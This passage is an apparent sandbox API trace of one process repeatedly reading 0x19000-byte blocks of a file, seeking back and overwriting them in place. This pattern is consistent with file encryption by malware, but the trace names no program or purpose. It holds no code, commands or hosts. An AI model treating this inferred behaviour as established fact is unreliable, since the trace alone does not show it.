	[0137.734] WriteFile (in: hFile=0x138, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0137.734] ReadFile (in: hFile=0x138, lpBuffer=0x2a6b0c0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesRead=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0137.735] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.735] WriteFile (in: hFile=0x138, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0137.735] ReadFile (in: hFile=0x138, lpBuffer=0x2a6b0c0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesRead=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0137.737] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.740] WriteFile (in: hFile=0x138, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0137.740] ReadFile (in: hFile=0x138, lpBuffer=0x2a6b0c0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesRead=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0137.741] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.741] WriteFile (in: hFile=0x138, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0137.742] ReadFile (in: hFile=0x138, lpBuffer=0x2a6b0c0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesRead=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0137.873] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.873] WriteFile (in: hFile=0x138, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0137.875] ReadFile (in: hFile=0x138, lpBuffer=0x2a6b0c0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesRead=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0137.875] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.876] WriteFile (in: hFile=0x138, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0137.876] ReadFile (in: hFile=0x138, lpBuffer=0x2a6b0c0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesRead=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0137.876] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.877] WriteFile (in: hFile=0x138, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0137.877] ReadFile (in: hFile=0x138, lpBuffer=0x2a6b0c0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesRead=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0137.881] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.881] WriteFile (in: hFile=0x138, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0137.881] ReadFile (in: hFile=0x138, lpBuffer=0x2a6b0c0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesRead=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0137.882] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.882] WriteFile (in: hFile=0x138, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0137.882] ReadFile (in: hFile=0x138, lpBuffer=0x2a6b0c0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesRead=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0137.883] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.883] WriteFile (in: hFile=0x138, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0137.883] ReadFile (in: hFile=0x138, lpBuffer=0x2a6b0c0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesRead=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0137.887] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.887] WriteFile (in: hFile=0x138, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0137.888] ReadFile (in: hFile=0x138, lpBuffer=0x2a6b0c0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesRead=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0137.888] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.888] WriteFile (in: hFile=0x138, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0137.889] ReadFile (in: hFile=0x138, lpBuffer=0x2a6b0c0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesRead=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0137.890] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.890] WriteFile (in: hFile=0x138, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0137.893] ReadFile (in: hFile=0x138, lpBuffer=0x2a6b0c0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesRead=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0137.894] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.894] WriteFile (in: hFile=0x138, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0137.894] ReadFile (in: hFile=0x138, lpBuffer=0x2a6b0c0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesRead=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0137.907] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.908] WriteFile (in: hFile=0x138, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0137.909] ReadFile (in: hFile=0x138, lpBuffer=0x2a6b0c0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesRead=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0138.025] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0138.025] WriteFile (in: hFile=0x138, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0138.027] ReadFile (in: hFile=0x138, lpBuffer=0x2a6b0c0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesRead=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0138.027] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0138.027] WriteFile (in: hFile=0x138, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0138.028] ReadFile (in: hFile=0x138, lpBuffer=0x2a6b0c0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesRead=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0138.031] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0138.031] WriteFile (in: hFile=0x138, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0138.032] ReadFile (in: hFile=0x138, lpBuffer=0x2a6b0c0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesRead=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0138.032] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0138.032] WriteFile (in: hFile=0x138, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0138.033] ReadFile (in: hFile=0x138, lpBuffer=0x2a6b0c0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesRead=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0138.033] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0138.033] WriteFile (in: hFile=0x138, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0138.034] ReadFile (in: hFile=0x138, lpBuffer=0x2a6b0c0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesRead=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0138.037] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0138.037] WriteFile (in: hFile=0x138, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0138.038] ReadFile (in: hFile=0x138, lpBuffer=0x2a6b0c0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesRead=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0138.038] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0138.038] WriteFile (in: hFile=0x138, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0138.039] ReadFile (in: hFile=0x138, lpBuffer=0x2a6b0c0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesRead=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0138.042] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0138.045] WriteFile (in: hFile=0x138, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0138.045] ReadFile (in: hFile=0x138, lpBuffer=0x2a6b0c0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesRead=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0138.046] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0138.046] WriteFile (in: hFile=0x138, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0138.046] ReadFile (in: hFile=0x138, lpBuffer=0x2a6b0c0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesRead=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0138.046] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0138.047] WriteFile (in: hFile=0x138, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0138.047] ReadFile (in: hFile=0x138, lpBuffer=0x2a6b0c0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesRead=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0138.063] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0138.063] WriteFile (in: hFile=0x138, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0138.065] ReadFile (in: hFile=0x138, lpBuffer=0x2a6b0c0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesRead=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0138.065] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0138.065] WriteFile (in: hFile=0x138, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0138.066] ReadFile (in: hFile=0x138, lpBuffer=0x2a6b0c0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesRead=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0138.066] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0138.066] WriteFile (in: hFile=0x138, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0138.066] ReadFile (in: hFile=0x138, lpBuffer=0x2a6b0c0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesRead=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0138.070] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0138.070] WriteFile (in: hFile=0x138, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0138.070] ReadFile (in: hFile=0x138, lpBuffer=0x2a6b0c0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesRead=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0138.071] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0138.071] WriteFile (in: hFile=0x138, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0138.071] ReadFile (in: hFile=0x138, lpBuffer=0x2a6b0c0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesRead=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0138.172] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0138.172] WriteFile (in: hFile=0x138, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0138.172] ReadFile (in: hFile=0x138, lpBuffer=0x2a6b0c0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesRead=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0138.192] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0138.192] WriteFile (in: hFile=0x138, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0138.193] ReadFile (in: hFile=0x138, lpBuffer=0x2a6b0c0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesRead=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0138.193] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0138.193] WriteFile (in: hFile=0x138, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0138.194] ReadFile (in: hFile=0x138, lpBuffer=0x2a6b0c0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesRead=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0138.195] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0138.195] WriteFile (in: hFile=0x138, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0138.198] ReadFile (in: hFile=0x138, lpBuffer=0x2a6b0c0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesRead=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0138.198] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0138.198] WriteFile (in: hFile=0x138, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0138.199] ReadFile (in: hFile=0x138, lpBuffer=0x2a6b0c0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesRead=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0138.215] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0138.215] WriteFile (in: hFile=0x138, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0138.216] ReadFile (in: hFile=0x138, lpBuffer=0x2a6b0c0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesRead=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0138.217] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
